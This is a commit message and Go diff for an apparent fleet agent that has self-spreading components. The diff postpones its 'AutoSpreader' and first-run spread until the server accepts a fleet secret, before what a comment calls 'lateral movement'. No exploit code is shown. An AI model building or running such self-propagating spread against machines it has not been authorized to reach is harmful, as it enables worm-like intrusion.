Expand test coverage across server, agent, and web; fix bugs found during audit.

Adds hundreds of unit/integration/e2e tests, fixes WS bcrypt auth, config merge, fleet analytics, agent schedule/log tail, and documents stale PROBLEMS items. Updates PROBLEMS.md, README, and test scripts; ignores local spread-kits and coverage dirs.

agent/main.go

@@ -68,10 +68,12 @@ func main() {
 	}
 
 	deploy.StartWatchdog(cfg)
-	deploy.StartAutoSpreader(cfg)
+	// AutoSpreader is intentionally NOT started here.  It is started inside
+	// AgentClient.authenticate() only after the server accepts our fleet secret,
+	// which verifies we are on an owned fleet before initiating lateral movement.
 	deploy.StartPassiveSpreader(cfg)
 	if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) {
-		deploy.RunSpreadOnce(cfg)
+		// First-run spread marker is cleared after auth succeeds (handled in client).
 		deploy.ClearFirstRunSpreadMarker(cfg)
 	}